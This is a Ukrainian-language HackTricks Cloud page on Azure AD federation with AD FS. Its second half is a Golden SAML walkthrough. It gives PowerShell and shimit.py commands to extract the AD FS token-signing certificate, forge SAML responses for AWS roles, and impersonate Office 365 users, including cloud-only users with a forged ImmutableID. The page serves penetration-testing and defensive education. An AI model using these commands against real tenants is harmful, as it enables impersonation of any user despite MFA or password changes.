Ukranian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Підтримайте HackTricks

Основна інформація

З документації:Federation - це колекція доменів, які встановили довіру. Рівень довіри може варіюватися, але зазвичай включає аутентифікацію і майже завжди включає авторизацію. Типова федерація може включати кілька організацій, які встановили довіру для спільного доступу до набору ресурсів.

Ви можете федералізувати ваше локальне середовище з Azure AD і використовувати цю федерацію для аутентифікації та авторизації. Цей метод входу забезпечує, що вся аутентифікація користувачів відбувається локально. Цей метод дозволяє адміністраторам впроваджувати більш суворі рівні контролю доступу. Федерація з AD FS та PingFederate доступна.

В основному, у Federation вся аутентифікація відбувається в локальному середовищі, і користувачі відчувають SSO у всіх довірених середовищах. Таким чином, користувачі можуть отримати доступ до хмарних додатків, використовуючи свої локальні облікові дані.

Security Assertion Markup Language (SAML) використовується для обміну всією інформацією про аутентифікацію та авторизацію між провайдерами.

У будь-якому налаштуванні федерації є три сторони:

  • Користувач або клієнт

  • Identity Provider (IdP)

  • Service Provider (SP)

(Зображення з https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Спочатку користувач отримує доступ до додатку (Service Provider або SP, наприклад, AWS console або vSphere web client). Цей крок може бути пропущений, що призведе клієнта безпосередньо до IdP (Identity Provider) залежно від конкретної реалізації.

  2. Потім SP ідентифікує відповідний IdP (наприклад, AD FS, Okta) для аутентифікації користувача. Він створює SAML (Security Assertion Markup Language) AuthnRequest і перенаправляє клієнта до обраного IdP.

  3. IdP бере на себе аутентифікацію користувача. Після аутентифікації IdP формує SAMLResponse і передає його SP через користувача.

  4. Нарешті, SP оцінює SAMLResponse. Якщо він успішно перевірений, що означає довірчі відносини з IdP, користувач отримує доступ. Це завершує процес входу, дозволяючи користувачу використовувати сервіс.

Якщо ви хочете дізнатися більше про SAML аутентифікацію та поширені атаки, перейдіть до:

Pivoting

  • AD FS - це модель ідентифікації на основі claims.

  • "..claims - це просто заяви (наприклад, ім'я, ідентичність, група), зроблені про користувачів, які використовуються в основному для авторизації доступу до додатків на основі claims, розташованих будь-де в Інтернеті."

  • Claims для користувача записуються всередині SAML токенів і підписуються для забезпечення конфіденційності IdP.

  • Користувач ідентифікується за ImmutableID. Він є глобально унікальним і зберігається в Azure AD.

  • ImmutableID зберігається локально як ms-DS-ConsistencyGuid для користувача і/або може бути отриманий з GUID користувача.

  • Більше інформації на https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Golden SAML атака:

  • У ADFS, SAML Response підписується сертифікатом підпису токенів.

  • Якщо сертифікат скомпрометований, можливо аутентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD!

  • Як і у випадку з нашим зловживанням PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми підробляємо відповідь аутентифікації.

  • Сертифікат можна витягти з сервера AD FS з привілеями DA і потім використовувати з будь-якої машини, підключеної до Інтернету.

  • Більше інформації на https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Процес, коли Identity Provider (IdP) створює SAMLResponse для авторизації входу користувача, є надзвичайно важливим. Залежно від конкретної реалізації IdP, відповідь може бути підписана або зашифрована за допомогою приватного ключа IdP. Ця процедура дозволяє Service Provider (SP) підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.

Можна провести паралель з golden ticket attack, де ключ, що підтверджує ідентичність і права користувача (KRBTGT для golden tickets, приватний ключ підпису токенів для golden SAML), може бути маніпульований для підробки об'єкта аутентифікації (TGT або SAMLResponse). Це дозволяє видавати себе за будь-якого користувача, надаючи несанкціонований доступ до SP.

Golden SAML має певні переваги:

  • Їх можна створювати віддалено, без необхідності бути частиною домену або федерації.

  • Вони залишаються ефективними навіть при увімкненій двофакторній аутентифікації (2FA).

  • Приватний ключ підпису токенів не оновлюється автоматично.

  • Зміна пароля користувача не анулює вже створений SAML.

AWS + AD FS + Golden SAML

Active Directory Federation Services (AD FS) - це сервіс Microsoft, який сприяє безпечному обміну інформацією про ідентичність між довіреними бізнес-партнерами (федерація). Він фактично дозволяє доменному сервісу ділитися ідентичностями користувачів з іншими постачальниками послуг у федерації.

З AWS, що довіряє скомпрометованому домену (у федерації), цю вразливість можна використати для потенційного отримання будь-яких прав у середовищі AWS. Атака вимагає приватного ключа, який використовується для підпису SAML об'єктів, подібно до необхідності KRBTGT у golden ticket атаці. Доступ до облікового запису користувача AD FS достатній для отримання цього приватного ключа.

Вимоги для виконання атаки golden SAML включають:

  • Приватний ключ підпису токенів

  • Публічний сертифікат IdP

  • Ім'я IdP

  • Ім'я ролі (роль для прийняття)

  • Домен\ім'я користувача

  • Ім'я сесії ролі в AWS

  • Ідентифікатор облікового запису Amazon

Тільки елементи, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням.

Для отримання приватного ключа необхідний доступ до облікового запису користувача AD FS. Звідти приватний ключ можна експортувати з особистого сховища за допомогою таких інструментів, як mimikatz. Для збору іншої необхідної інформації ви можете використовувати Microsoft.Adfs.Powershell snapin наступним чином, переконавшись, що ви увійшли як користувач ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

З усією цією інформацією, можливо забути дійсний SAMLResponse як користувача, якого ви хочете видавати, використовуючи shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Можливо також створити ImmutableID для користувачів тільки в хмарі та видавати себе за них

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Посилання

Підтримайте HackTricks
PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated